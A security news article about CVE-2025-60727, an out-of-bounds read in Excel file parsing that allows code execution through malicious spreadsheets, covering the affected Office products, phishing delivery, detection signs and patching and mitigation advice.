When a malicious Excel document is opened, the application may read memory outside the intended buffer. This improper memory access allows attackers to influence how the application behaves, ultimately enabling execution of arbitrary code on the target system.

The vulnerability impacts a wide range of Microsoft products, including Microsoft 365 Apps, Excel 2016, Office 2019, Office LTSC 2021, Office LTSC 2024, and Office Online Server.

Since these products are widely used across enterprise and personal environments, the potential attack surface is significant.

Microsoft 365 Apps RCE Vulnerability Exploit

Exploitation of CVE-2025-60727 requires user interaction, as the victim must open a malicious Excel file.

However, the attack does not require authentication or elevated privileges. This makes it particularly effective in phishing scenarios, where attackers trick users into opening seemingly legitimate documents.

For instance, a threat actor may send an email disguised as a business report or invoice containing a weaponized Excel attachment. Once opened, the file can trigger the vulnerability and execute malicious code in the background.

The root cause of the flaw lies in insufficient validation of length and offset values during Excel file parsing. When Excel processes a malformed file, it reads beyond allocated memory boundaries.

Attackers can carefully design the file structure to control this behavior, using the exposed memory to manipulate execution flow and run malicious instructions within the Excel process.

Successful exploitation gives attackers the same level of access as the current user. This can lead to data theft, malware installation, persistence mechanisms, and full-system compromise, affecting confidentiality, integrity, and availability.

In enterprise environments, such access can also be used as a foothold for lateral movement. Detection of exploitation attempts relies on monitoring unusual behaviors associated with Excel. Security teams may observe Excel spawning unexpected child processes such as command shells or scripting engines.

Suspicious outbound network connections initiated by Excel shortly after opening a document can also indicate compromise. In some cases, systems may generate crash reports or access violations related to Excel when processing malformed files.

Microsoft has released security updates to address this vulnerability, and organizations are strongly advised to apply these patches immediately.

Keeping Microsoft 365 Apps updated through the Click-to-Run channel and deploying the latest security updates for standalone Office versions is essential.

Additional mitigation steps include enforcing Protected View for files originating from external sources, blocking macros and external content, and enabling security controls such as Attack Surface Reduction rules.

According to SentinelOne, restricting Excel files from untrusted sources and strengthening email filtering can reduce exposure.

The vulnerability was first published in the National Vulnerability Database on November 11, 2025, and updated on June 17, 2026.

Although there are currently no public reports of active exploitation, the technique aligns closely with well-known phishing and document-based attack methods, making it a high-risk issue that organizations should not ignore.

 Strengthen Your SOC by Accelerating Threat Detection & Rapid Investigations. -> Integrate ANY.RUN With Your SOC Now.

The post Microsoft 365 Apps RCE Vulnerability Exploited Using a Malicious Excel File appeared first on Cyber Security News.